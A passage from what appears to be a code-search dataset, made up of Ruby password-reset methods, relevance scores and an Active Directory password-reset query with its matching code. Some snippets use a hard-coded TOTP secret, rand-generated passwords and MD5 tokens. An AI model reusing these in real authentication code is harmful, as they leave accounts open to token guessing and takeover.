"def send_password_reset\n self.password_reset_sent_at = Time.now\n update_attribute(:password_reset_token, genrate_tokn(:password_reset_token) )\n UserMailer.password_reset(self).deliver\n end",
"def send_password_reset\n generate_token(:password_reset_token)\n update_attributes!(password_reset_sent_at: Time.zone.now)\n UserMailer.password_reset(self).deliver\n end",
"def send_password_reset\n generate_token(:password_reset_token)\n self.password_reset_sent_at = Time.zone.now\n save!\n PasswordMailer.password_reset(self).deliver\n end",
"def with_reset_password_token(token); end",
"def send_password_reset\n generate_token(:password_reset_token)\n self.password_reset_sent_at = Time.zone.now\n self.save\n UserMailer.password_reset(self).deliver\n end",
"def send_password_reset\n generate_token\n self.password_reset_token_sent_at = Time.zone.now\n save!\n UserMailer.password_reset(self).deliver\n end",
"def send_password_reset\n generate_token(:password_reset_token)\n self.password_reset_sent_at = Time.zone.now \n save!\n UserMailer.password_reset(self).deliver\n end",
"def send_password_resets\n generate_token(:password_reset_token)\n self.password_reset_sent_at = Time.zone.now\n self.save!\n NotificationsMailer.password_reset_mail(self).deliver\n end",
"def send_password_reset\n generate_token(:password_reset_token)\n self.password_reset_sent_at = Time.zone.now\n save!\n UserMailer.password_reset(self).deliver\n end",
"def send_password_reset\n generate_token(:password_reset_token)\n self.password_reset_sent_at = Time.zone.now\n save!\n UserMailer.password_reset(self).deliver\n end",
"def send_password_reset\n generate_token(:password_reset_token)\n self.password_reset_sent_at = Time.zone.now\n save!\n UserMailer.password_reset(self).deliver\n end",
"def send_password_reset\n generate_token(:password_reset_token)\n self.password_reset_sent_at = Time.zone.now\n save!\n UserMailer.password_reset(self).deliver\n end",
"def send_password_reset\n generate_token(:password_reset_token)\n self.password_reset_sent_at = Time.zone.now\n save(:validate => false)\n UserMailer.password_reset(self).deliver\n end",
"def send_password_reset\n\n generate_token(:password_reset_token)\n self.password_reset_sent_at = Time.zone.now\n save!(validate: false)\n UserMailer.password_reset(self).deliver\n end",
"def password_reset\n account = Account.first\n account.reset_token = Account.new_token\n AccountMailer.password_reset(account)\n end",
"def send_password_reset\n generate_token(:password_reset_token)\n self.password_reset_sent_at = Time.zone.now\n save!\n UserMailer.password_reset(self).deliver_now\n end",
"def send_password_reset\n generate_token(:password_reset_token)\n self.password_reset_sent_at = Time.zone.now\n save!(validate: false)\n UserMailer.password_reset(self).deliver\n end",
"def send_password_reset\n generate_token(:password_reset_token)\n self.password_reset_sent_at = Time.zone.now\n save!\n UserMailer.password_reset(self).deliver \n end",
"def send_password_reset\n\t generate_token(:password_reset_token)\n\t self.update_attribute(:password_reset_sent_at, Time.zone.now)\n\t #self.password_reset_sent_at = Time.zone.now\n\t #save!\n\t UserMailer.password_reset(self).deliver\n\tend",
"def send_pass\n username = params[:user][:account_name]\n email = params[:user][:email]\n resp = LinkedData::Client::HTTP.post(\"/users/create_reset_password_token\", {username: username, email: email})\n\n if resp.nil?\n redirect_to login_index_path, notice: \"Please check your email for a message with reset instructions\"\n else\n flash[:notice] = resp.errors.first + \". Please try again.\"\n redirect_to \"/lost_pass\"\n end\n end",
"def password_reset\n owner = Owner.first\n owner.reset_token = Owner.new_token\n Owner::UserMailer.password_reset(owner)\n end",
"def send_password_reset\n create_password_token(:password_reset_token)\n self.password_reset_sent_at = Time.zone.now\n save!\n UserMailer.password_reset(self).deliver\n end",
"def send_password_reset\n \tgenerate_reset_token(:password_reset_token)\n \tself.password_reset_sent_at = Time.zone.now\n \tsave!(validate: false)\n \tUserMailer.password_reset(self).deliver\n end",
"def send_password_reset\n\t\tgenerate_token(:password_reset_token)\n\t\tself.password_reset_sent = Time.zone.now\n\t\tself.save!\n\n\t\tUserMailer.password_reset(self).deliver\n\tend",
"def send_password_reset\n self.reset_token = Token.random\n update_columns(reset_digest: Token.digest(reset_token), reset_sent_at: Time.zone.now)\n UserMailer.password_reset(self).deliver_now\n end",
"def reset_password\n if verify_token(params['reset_device_id'], params['reset_otp_token'])\n status = :ok\n response = set_password(session[:user_id], params['new_password'])\n else\n status = :unauthorized\n response = 'Invalid token'\n end\n\n render json: response, status: status\n end",
"def password_reset\n tester = Tester.first\n tester.reset_token = Tester.new_token\n TesterMailer.password_reset(tester)\n end",
"def password_reset(random_token, email)\n @instance_token = random_token\n mail(:to => email, :subject => \"Password Reset\", :bcc =>\"ruthdelcampo@openaidregister.org\") \n end",
"def send_password_reset\n generate_token(:password_reset_token)\n self.password_reset_sent_at = Time.zone.now\n save!(validate:false)\n UserMailer.delay.password_reset(self)\n end",
"def clear_reset_password_token; end",
"def forgot_password token\n recipients token.user.email\n from SETTING.master_email!\n sent_on Time.now \n subject t(:forgot_password_title, :name => token.user.name, :host => SETTING.master_domain!)\n \n body \\\n :user => token.user,\n :url => reset_password_form_identities_url(:host => SETTING.master_domain!, :token => token.token)\n end",
"def password_reset\n applicant = Applicant.first\n applicant.reset_token = Applicant.new_token\n ApplicantMailer.applicant_password_reset(applicant)\n end",
"def reset_password_token\n generate_token(:reset_password_token)\n end",
"def password_reset\n player = Player.first\n player.reset_token = Player.new_token\n PlayerMailer.password_reset(player)\n end",
"def send_password_reset\n generate_token(:password_reset_token)\n self.password_reset_sent_at = Time.zone.now\n save!\n UserMailer.password_reset(self).deliver\n end",
"def password_reset\n participant = Participant.first\n participant.reset_token = Participant.new_token\n ParticipantMailer.password_reset(participant)\n end",
"def send_reset_password_instructions\n token = set_reset_password_token\n send_reset_password_instructions_notification(token)\n\n token\n end",
"def password_reset\n gamer = Gamer.first\n gamer.reset_token = Gamer.new_token\n GamerMailer.password_reset(gamer)\n end",
"def reset_password\n self.password_reset_token = SecureRandom::uuid\n save!\n UserMailer.send_password_reset_token(self).deliver\n end",
"def send_reset_password_instructions\n end",
"def password_change_token _email, _token\n @token = _token\n mail(to: _email, subject: \"Please change your password\")\n end",
"def password_reset\n employee = Employee.first\n employee.reset_token = Employee.new_token\n EmployeeMailer.password_reset(employee)\n end",
"def password_reset\n\t\tshepherd = Shepherd.first\n\t\tshepherd.reset_token = Shepherd.new_token\n ShepherdMailer.password_reset(shepherd)\n end",
"def forgot_password(user,reset_token)\n @user=user\n @reset_token=reset_token\n @mob_url=\"Driveo://driveo.herokuapp.com/api/v1/authentication/resetpassword?hash=#{@reset_token}\"\n @url=\"https://driveo.herokuapp.com/api/v1/authentication/mobile/resetpassword?hash=#{@reset_token}\"\n\n mail to: @user.email, subject: \"Driveo Reset Password\"\n end",
"def password_reset\n user = SbUser.first\n user.reset_token = SbUser.new_token\n SbuserMailer.password_reset(user)\n\n end",
"def password_reset\n user = Customer.last\n user.reset_token = Customer.new_token\n CustomerMailer.password_reset(user)\n end",
"def send_password_reset\r\n # Generate password reset token\r\n self.password_reset_token = SecureRandom.urlsafe_base64\r\n # Set timestamp of when password reset was sent\r\n self.password_reset_sent_at = Time.zone.now\r\n # Do not run data validation upon saving the user\r\n save!(validate: false)\r\n # Notify the user that password reset instructions have been sent to their email\r\n UserMailer.password_reset(self).deliver\r\n end",
"def genrate_tokn(password_reset_token)\n self.password_reset_token = (Digest::MD5.hexdigest \"#{ActiveSupport::SecureRandom.hex(10)}-#{DateTime.now.to_s}\")\n end",
"def password_reset\n doctor = Doctor.first\n doctor.reset_token = Doctor.new_token\n DoctorMailer.password_reset(doctor)\n end",
"def password_reset\n user = User.first\n user.password_reset_token = new_token\n email = EmailAddress.find_by(id: user.primary_email_address_id).email\n UserMailer.password_reset(user, email)\n end",
"def send_reset_password_instructions; end",
"def password_reset\n user = User.first\n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"def password_reset\n member = Member.first\n member.reset_token = Member.new_token\n MemberMailer.password_reset(member)\n end",
"def password_reset\n user = User.first \n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"def password_reset\n user = User.first \n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"def password_reset\n user = User.first\n user.reset_token = SecureRandom.uuid\n user.e_token = User.digest(user.email)\n UserMailer.password_reset(user)\n end",
"def password_reset_request\n end",
"def password_reset\n user = User.first\n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"def password_reset\n user = User.first\n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"def password_reset\n user = User.first\n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"def password_reset\n user = User.first\n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"def password_reset\n user = User.first\n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"def password_reset\n user = User.first\n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"def password_reset\n user = User.first\n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"def password_reset\n \tuser = User.first\n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"def password_reset\n user = RailsTutorial::Sample::User.first\n user.reset_token = RailsTutorial::Sample::User.new_token\n RailsTutorial::Sample::UserMailer.password_reset(user)\n end",
"def send_reset_password_instructions(admin = Admin.first)\n send_grid_mail = SendGridMail.new(admin, [self])\n _response, token = send_grid_mail.reset_password\n token\n end",
"def generate_reset_token\n self.update reset_token: SecureRandom.urlsafe_base64\n end",
"def send_forget_passwd_email(email, user, token)\n @user = user\n @token = token\n mail( :to => email,\n :subject => 'WatchIoT password reset!!')\n end",
"def password_reset\nemployee = Employee.first\nemployee.reset_token = Employee.new_token\nEmployeeMailer.password_reset(employee)\nend",
"def pass_reset_token(uid, timestamp, hashed_pass)\n values = {\n uid: uid,\n timestamp: timestamp,\n hashed_pass: hashed_pass\n }\n @client.make_request :post,\n auth_path('user_pass_reset'),\n values\n end",
"def generate_token\n self.password_reset_token = SecureRandom.urlsafe_base64\n end",
"def create_reset_digest\n totp = ROTP::TOTP.new(\"base32secret3232\")\n self.reset_token = totp.now\n update_attribute(:reset_password_token, self.reset_token)\n update_attribute(:reset_password_sent_at, Time.zone.now)\n end",
"def password_reset\n user = Volunteer.first\n user.reset_token = Volunteer.new_token\n VolunteerMailer.password_reset(user)\n end",
"def send_password_reset(base_url)\n secret = CredentialsManage.create_onetime_data(\n id,\n reset_password: 1,\n expire: Time.now.to_i + DEF_EXPIRATION_TIME\n )\n Pony.mail(\n to: email,\n via: :smtp,\n via_options: {\n address: ENV['SMTP_SERVER'] || 'localhost',\n port: '587',\n enable_starttls_auto: true,\n user_name: ENV['SMTP_USER'] || 'user',\n password: ENV['SMTP_PASS'] || 'password_see_note',\n authentication: :plain, # :plain, :login, :cram_md5\n domain: 'dnd.zhum.freeddns.org'\n # the HELO domain provided by the client to the server\n },\n from: ENV['SMTP_FROM'] || 'master@dnd.zhum.freeddns.org',\n subject: t('password_reset_subject'),\n charset: 'utf-8',\n html_body: t('password_reset_body', base: base_url, str: secret)\n )\n end",
"def send_reset_password_instructions\n generate_reset_password_token! if should_generate_reset_token?\n kickoff.deliver_password_reset(self)\n end",
"def reset_password\n generate_token(:password_reset_token)\n self.password_reset_sent_at = Time.now\n save!\n UserMailer.delay.password_reset(self)\n end",
"def generate_password_reset_token\n self.password_reset_token = SecureRandom.urlsafe_base64\n end",
"def reset_password! \n\t\t\treset_perishable_token! \n\t\t\tNotifier.reset_password(self).deliver \n\t\tend",
"def pin_reset_token\n crypt.encrypt_and_sign(key, expires_in: 20.minutes)\n end",
"def password_reset(user, token)\n @user = user\n @token = token\n mail(\n to: @user.email,\n from: 'no-replay@lagis-index.com',\n subject: 'パスワードの再設定'\n )\n end",
"def password_reset\n # ShopMailer.password_reset\n shop = Shop.first\n shop.reset_token = Shop.new_token\n ShopMailer.password_reset(shop)\n end",
"def reset_password(email)\n @user = User.find_by_email(email)\n random_password = Array.new(10).map { (65 + rand(58)).chr }.join\n @user.password = random_password\n @user.save!\n# Mailer.create_and_deliver_password_change(@user, random_password)\n# commented out mailer for now as I have no Idea what it is or does. \n\n# Idea - set a reset token on the user model and email it to the user \n# eg http://localhost:9292/reset_password?reset_token=cnu94w3n8c94njevn49an8\n# like we do in rails land\n\nend",
"def send_reset_password_link\n service_response = UserManagement::SendResetPasswordLink.new(params).perform\n render_api_response(service_response)\n end",
"def send_reset_password_instructions(site)\n token = set_reset_password_token\n DeviseMailer.reset_password_instructions(self, token, site).deliver\n token\n end",
"def send_reset_password_instructions()\n generate_reset_password_token! if should_generate_reset_token?\n send_devise_notification(:reset_password_instructions)\n end",
"def password_reset\n user = User.first\n user.reset_token = User.new_token #присваивается значение токена сброса пароля\n UserMailer.password_reset(user)\n end",
"def password_reset\n user = Investor.first\n user.activation_token = Investor.new_token\n NemabollonMailer.password_reset(user)\n end",
"def generate_password_token!\n\t\tself.reset_password_token\t= generate_token\n\t\tself.reset_password_sent_at\t= Time.now\n\t\tsave!\n\tend",
"def generate_password_token!\n self.reset_password_token = generate_token\n self.reset_password_sent_at = Time.now.utc\n self.save(validate: false)\n end",
"def reset_password_subject(token, server_hostname, protocol)\n \"#{server_hostname} password reset\"\n end",
"def password_reset(token)\n get(\"/v1/password_resets/#{token}\")\n end",
"def reset_password\n [send_email(MailPart.new_subject(I18n.t('devise.mailer.reset_password_instructions.subject')),\n nil,\n MailPart.new_body(''),\n EmailStuff::TYPES[:reset_password],\n reset_pass_call),\n @candidate_mailer_text.token]\n end",
"def reset_password(account, reset_expires_at)\n raw, enc = Authentication::TokenGenerator.generate(Authentication::Account, 'reset_password_token')\n account.reset_password_token = enc\n account.reset_password_expires_at = reset_expires_at\n # account.login_attempts = 0\n account.save\n return {'raw_token' => raw, 'expires_at' => reset_expires_at}\n end",
"def reset_password\n @user.send_reset_pass_email\n head :no_content\n end",
"def use_password_reset(token, new_password)\n put(\"/v1/password_resets/#{token}\", password: new_password)\n end",
"def generate_reset_password_token!\n generate_reset_password_token && save(:validate => false)\n end",
"def generate_reset_password_token!\n generate_reset_password_token && save(:validate => false)\n end",
"def set_password_reset\n self.make_password_reset_code\n end",
"def send_account_created_instructions\n token = set_reset_password_token\n send_account_created_instructions_notification(token)\n\n token\n end"
] |
[
"0.7602584",
"0.7531532",
"0.7526196",
"0.7514934",
"0.75007147",
"0.7488515",
"0.74847984",
"0.7472375",
"0.7457798",
"0.7457798",
"0.7457798",
"0.7457798",
"0.745766",
"0.7451809",
"0.7443036",
"0.7420269",
"0.7403361",
"0.73908997",
"0.73781776",
"0.7362122",
"0.7338981",
"0.73251706",
"0.7266546",
"0.72557527",
"0.7251019",
"0.7219935",
"0.721926",
"0.720961",
"0.7191544",
"0.71915317",
"0.7184117",
"0.7176736",
"0.7175102",
"0.7159907",
"0.71586853",
"0.7156102",
"0.7155382",
"0.71276027",
"0.71136963",
"0.7094035",
"0.7089729",
"0.7088485",
"0.70791835",
"0.7075912",
"0.70719767",
"0.7062659",
"0.70558274",
"0.70475143",
"0.70328844",
"0.7031737",
"0.7025776",
"0.7006596",
"0.700571",
"0.70024663",
"0.70024663",
"0.69935656",
"0.6991832",
"0.6975078",
"0.6975078",
"0.6975078",
"0.6975078",
"0.6975078",
"0.6975078",
"0.6975078",
"0.6968215",
"0.69407696",
"0.6937879",
"0.6937857",
"0.6937757",
"0.69346684",
"0.69344527",
"0.6930112",
"0.6929121",
"0.6928945",
"0.69163454",
"0.69111836",
"0.6900112",
"0.68956995",
"0.68934387",
"0.6887612",
"0.6872354",
"0.6856495",
"0.6855799",
"0.6849687",
"0.68357533",
"0.68279415",
"0.68187404",
"0.6805966",
"0.6791767",
"0.6785414",
"0.6782386",
"0.6780016",
"0.6768771",
"0.67555195",
"0.67532915",
"0.674678",
"0.673933",
"0.673933",
"0.6737599",
"0.67371607"
] |
0.7243051
|
25
|
Reset active directory password
|
def reset_password(user, new_pass)
if bind
distinguished_name = ldap_distinguished_name(user)
@connection.replace_attribute distinguished_name, :unicodePwd, password_encode(new_pass)
return @connection.get_operation_result.message
else
return false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def reset_password!\n @session.nickserv.resetpass(self.name)\n end",
"def reset_password!\n new_password = Digest::MD5.hexdigest(Time.now.to_s.split(//).sort_by {rand}.join)[0, 10]\n self.password = new_password\n self.password_confirmation = new_password\n save!\n end",
"def ldappassword\n\n$HOST = ''\n$PORT = LDAP::LDAP_PORT\n$SSLPORT = LDAP::LDAPS_PORT\nbase = 'dc=, dc='\nldapadmin = 'cn=, dc=, dc='\nldapadminpass = ''\nscope = LDAP::LDAP_SCOPE_SUBTREE\nattrs = ['sn', 'cn']\n\n#hash the password for ldap change\ne_password = \"{SHA}\" + Base64.encode64(Digest::SHA1.digest(@newpasswd)).chomp\n\nconn = LDAP::Conn.new($HOST, $PORT)\nreset = [\n LDAP.mod(LDAP::LDAP_MOD_REPLACE, \"userPassword\", [e_password]),\n]\n\n conn.bind(ldapadmin,ldapadminpass)\n begin\n conn.search(base, scope, \"uid=#{@authex.username}\", attrs) { |entry|\n $USERDN = entry.dn\n }\n rescue LDAP::ResultError\n conn.perror(\"search\")\n exit\n end\n\n begin\n conn.modify(\"#{$USERDN}\", reset)\n puts $USERDN\n rescue LDAP::ResultError => msg\n puts \"Can't change password: \" + msg\n exit 0\n rescue LDAP::Error => errcode\n puts \"Can't change password: \" + LDAP.err2string(errcode)\n exit 0\n end\n\n\n\nend",
"def reset_password\n new_password = SecureRandom.hex(5)\n update_attributes!(:password => new_password )\n return new_password\n end",
"def clear_password\n self.password = nil\n end",
"def reset!\n self.password_cost = 9\n end",
"def reset_password\n temporary_password = ActiveSupport::SecureRandom.base64(6)\n self.password = temporary_password\n self.password_confirmation = temporary_password\n temporary_password\n end",
"def reset_password!\n reset_password\n save_without_session_maintenance(validate: false)\n end",
"def reset_password\n friendly_token = Authlogic::Random.friendly_token\n self.password = friendly_token\n self.password_confirmation = friendly_token\n end",
"def reset_password\n set :password, Proc.new {\n Capistrano::CLI.password_prompt(\"Password (for user: #{user}): \")\n } \n end",
"def reset_password\n friendly_token = Authlogic::Random.friendly_token\n self.password = friendly_token\n self.password_confirmation = friendly_token if self.class.require_password_confirmation\n end",
"def clear_password!\n self.password = nil\n end",
"def password=(new_password); end",
"def reset_password!\n reset_password\n save_without_session_maintenance(false)\n end",
"def clear_password! \n self.password = nil \n end",
"def clear_password\n \t\tself.password = nil\n \tend",
"def reset_password(password)\n self.termpassword = password\n save\n end",
"def change_password\r\n \r\n end",
"def change_password(ldap)\n puts \"enter first name\"\n firstname=gets.chomp\n puts \"enter new password\"\n password=gets.chomp\n \n dn = \"cn=#{firstname},ou=people,dc=example,dc=com\"\n ldap.replace_attribute dn, :userPassword, password\n puts \"****** change password result ******\"\n puts ldap.get_operation_result\n end",
"def password=(value)\n reset_agent\n @password = value\n end",
"def password=(value)\n reset_agent\n @password = value\n end",
"def password=(value)\n reset_agent\n @password = value\n end",
"def change_temp_password\n\tend",
"def reset_password\n password = self.object_id.to_s + rand.to_s\n create_new_salt\n self.password_hash = User.encrypted_password(password, self.password_salt)\n return password\n end",
"def clear_password\n self.password=nil\n end",
"def reset_password\n update_attribute(:password_reset_code, nil)\n @reset_password = true\n end",
"def reset_password() \n self.password_confirmation = self.password = self.login\n \n self.save\n end",
"def reset_password(plain)\n self.password = hash_crypt(plain)\n end",
"def clear_password\n self.password = nil\n self.password_verify = nil\n end",
"def reset_password\n new_password = User.random_password\n self.password = new_password\n return new_password\n end",
"def password_reset\n\t\tshepherd = Shepherd.first\n\t\tshepherd.reset_token = Shepherd.new_token\n ShepherdMailer.password_reset(shepherd)\n end",
"def change_password!(password)\n json = JSON.generate(:changePassword => { :adminPass => password })\n @compute.connection.req('POST', \"/servers/#{@id}/action\", :data => json)\n @adminPass = password\n end",
"def reset(username, password)\n self.username = username \n self.password = password\n self.apps = []\n end",
"def reset_password\n self.password = self.class.random_hash(8)\n self.save_with_validation(false)\n self.password\n end",
"def reset_password!(*args)\n self.legacy_password_hash = nil\n super\n end",
"def change_password!(opts = {})\n password!(opts.merge(:verb => :put))\n end",
"def set_password\n @password = Password.last\n @new_password = Password.new\n end",
"def set_password; nil; end",
"def change_password(username, password, new_pw)\n #errors = validate_password(password, new_pw)\n errors = PasswordConstraints::validate(new_pw, password)\n return errors unless errors.empty?\n\n LdapPassword::change_password(username, password, new_pw)\nend",
"def clear_password!\n self.password = nil\n self.password_confirmation = nil\n self.current_password = nil\n end",
"def clear_password!\n self.password = nil\n self.password_confirmation = nil\n self.current_password = nil\n end",
"def change_password(username, oldpw, newpw)\n\n debugger if ENV['LDAP_PASSWORD_DEBUG']\n\n user_dn = \"uid=#{username},#{config['ldap_user_base_dn']}\"\n ldap = Net::LDAP.new(\n host: config['ldap_host'], port: config['ldap_port'],\n auth: {\n username: user_dn, password: oldpw, method: config['ldap_auth_method']\n }\n #,encryption: :simple_tls\n )\n ldap.bind or (return [ldap.get_operation_result.message])\n\n ldap.modify(\n dn: user_dn, operations: [\n [:replace, :sambaNTPassword, nt_password(newpw)], \n [:replace, :sambaPwdLastSet, Time.now.to_i.to_s],\n [:replace, :userPassword , ssha_password(newpw)],\n [:replace, :shadowLastChange , (Time.now.to_i / 86400).to_s],\n ]\n ) ? [] : [ldap.get_operation_result.message]\n end",
"def clear_password!\n self.password=nil\n self.password_confirmation = nil\n self.current_password = nil\n end",
"def set_default_password\r\nself.password = :random\r\nend",
"def clean_up_passwords\n self.password = nil\n end",
"def clean_up_passwords\n self.password = nil\n end",
"def clean_up_passwords\n self.password = nil\n end",
"def update_password\n enc_password = Authentication::Encryptor.digest(password)\n account = Authentication::Account.reset_token_account(reset_password_token)\n account.encrypted_password = enc_password\n account.reset_password_token, account.reset_password_expires_at = nil, nil\n account.save!\n {'success' => true}\n end",
"def reset_password!\n password = PasswordGenerator.random_pronouncable_password(3)\n self.password = password\n self.password_confirmation = password\n save\n UserMailer.deliver_reset_password(self)\n end",
"def reset_password(*args)\n self.legacy_password = false\n super\n end",
"def reset_password(new_password, new_password_confirmation); end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n p[:password_unset] = 0 \n update_attributes(p)\n end",
"def db_reset_password(username = nil)\n return nil if username.nil?\n\n # Ref rest api format\n origin = [('a'..'z'), ('A'..'Z')].map { |i| i.to_a }.flatten\n new_password = (0...10).map { origin[rand(origin.length)] }.join\n XMPP_User.find_by(username: username).update(password: new_password)\n\n return new_password\n end",
"def change_password(opts = {})\n password(opts.merge(:verb => :put))\n end",
"def scramble_password\n if self.password_changed?\n self.password = Digest::MD5.hexdigest(self.password)\n end\n end",
"def reset_password\n o = [('a'..'z'),('A'..'Z'),('0'..'9')].map{|i| i.to_a}.flatten\n new_password = (0..6).map{ o[rand(o.length)] }.join\n self.password = new_password\n if self.save\n return new_password\n else\n return nil\n end\n end",
"def update_password(newpwd)\n self.password = Utils.sha1(newpwd + 'ad2012spot' + email)\n end",
"def set_temp_password\n self.password = SecureRandom.urlsafe_base64(6)\n end",
"def resetpass\r\n @user = User.new\r\n end",
"def attempt_set_password(params)\n update_attributes(password: params[:password], password_confirmation: params[:password_confirmation])\n end",
"def flush_passwords\n @password = @password_confirmation = nil\n end",
"def flush_passwords\n @password = @password_confirmation = nil\n end",
"def reset_password(iam_client)\n\n\t# Catch any exceptions. We don't clean up if we do.\n\tbegin\n\n\t\t# Now add a login Profile\n\t\tresp = iam_client.update_login_profile({\n\t\t\tuser_name: Options[:username], # required\n\t\t\tpassword: Options[:password], # required\n\t\t\tpassword_reset_required: true,\n\t\t})\n\t\t# profile = resp.login_profile\n\t\t# pp profile if Options[:verbose]\n\n\t\t# This gets the account alias which is part of the login url\n\t\tresp = iam_client.list_account_aliases()\n\t\tpp resp if Options[:verbose]\n\t\taccount_alias = resp.account_aliases[0]\n\trescue Exception => e\n\t\tputs \"Error creating account #{e.message}\"\n\t\texit 1\n\tend\n\n\tputs \"Password for #{Options[:username]} reset to #{Options[:password]}\\n\\n\"\n\tputs \"Login url: https://#{account_alias}.signin.aws.amazon.com/console\"\n\tputs \"Username: #{Options[:username]}\"\n\tputs \"Password: #{Options[:password]}\"\n\tputs \"You must change your password and set MFA on first login by going to this URL after setting your new password:\"\n\tputs \"https://console.aws.amazon.com/iam/home?region=us-east-1#/users/#{Options[:username]}?section=security_credentials\"\n\texit 0\nend",
"def reset_user_password\n temp_password = generate_password(20)\n User.update_all(\"activation_code = '#{temp_password}', recently_reset = 1, updated_at = '#{Time.now}'\", \"id = #{self.id}\")\n UserMailer.reset_password(self.id, temp_password).deliver\n end",
"def clear_password!\n unless (self.password.nil?)\n self.password = nil\n end\n \n unless (self.password_confirmation.nil?)\n self.password_confirmation = nil\n end \n \n unless (self.current_password.nil?)\n self.current_password = nil\n end \n end",
"def change_password(new_pass)\n self.salt = User.gen_salt\n salted_pass = User.salt_password(new_pass, self.salt)\n self.password = salted_pass\n end",
"def old_password\n nil\n end",
"def password_reset\n account = Account.first\n account.reset_token = Account.new_token\n AccountMailer.password_reset(account)\n end",
"def passwd\r\n @password = \"12345\"\r\n end",
"def clean_up_passwords\n self.password = self.password_confirmation = nil\n end",
"def clean_up_passwords\n self.password = self.password_confirmation = nil\n end",
"def restore_password\n user = User.where.not(change_password_hash: nil).take\n organization = user.organizations.take\n\n NotifierMailer.restore_password user, organization\n end",
"def reset_password!(user)\n self.class.ignore_blank_passwords = false\n self.password = user[:password]\n self.password_confirmation = user[:password_confirmation]\n save\n end",
"def set_password_reset\n self.make_password_reset_code\n end",
"def attempt_set_password(params)\n p={}\n p[:password]=params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def nil_password\n @password = nil\n end",
"def password_reset\n applicant = Applicant.first\n applicant.reset_token = Applicant.new_token\n ApplicantMailer.applicant_password_reset(applicant)\n end",
"def clean_up_passwords\n self.password = self.password_confirmation = nil\n end",
"def set_new_password \n new_passwd = generate_password()\n self.password = self.password_confirmation = new_passwd\n self.save!\n return new_passwd\n end",
"def attempt_set_password(params)\n\t p = {}\n\t p[:password] = params[:password]\n\t p[:password_confirmation] = params[:password_confirmation]\n\t update_attributes(p)\n end",
"def old_password=(string)\n end",
"def restore_password\n UserMailer.restore_password\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def pw_admin\n @user = User.find(params[:id])\n new_password = Devise.friendly_token(50)\n user.reset_password(new_password, new_password)\n user.send_rest_password_instructions\n end"
] |
[
"0.72977084",
"0.698937",
"0.6900631",
"0.68821645",
"0.6871696",
"0.6859099",
"0.6847823",
"0.68009704",
"0.6795015",
"0.6790964",
"0.6787461",
"0.677313",
"0.67727405",
"0.67706406",
"0.6743066",
"0.6726339",
"0.6720127",
"0.66997",
"0.66942614",
"0.66746134",
"0.66746134",
"0.66746134",
"0.6673189",
"0.6665325",
"0.66631514",
"0.6661303",
"0.6656743",
"0.662266",
"0.66035205",
"0.6592981",
"0.6585437",
"0.6580968",
"0.6511941",
"0.6506751",
"0.65014774",
"0.649998",
"0.64969736",
"0.64925176",
"0.6482547",
"0.64751637",
"0.64751637",
"0.6464112",
"0.64393276",
"0.64382094",
"0.6434395",
"0.6434395",
"0.6434395",
"0.6421274",
"0.64136386",
"0.6386785",
"0.6376067",
"0.63562185",
"0.63512313",
"0.63383454",
"0.63250583",
"0.63210875",
"0.63115823",
"0.63021284",
"0.6264404",
"0.62601703",
"0.6253862",
"0.62531936",
"0.62256926",
"0.62143046",
"0.6202154",
"0.6201642",
"0.61935294",
"0.61873347",
"0.6169878",
"0.6168546",
"0.6168546",
"0.61562735",
"0.61548173",
"0.6151395",
"0.6136797",
"0.6133205",
"0.61203855",
"0.6117903",
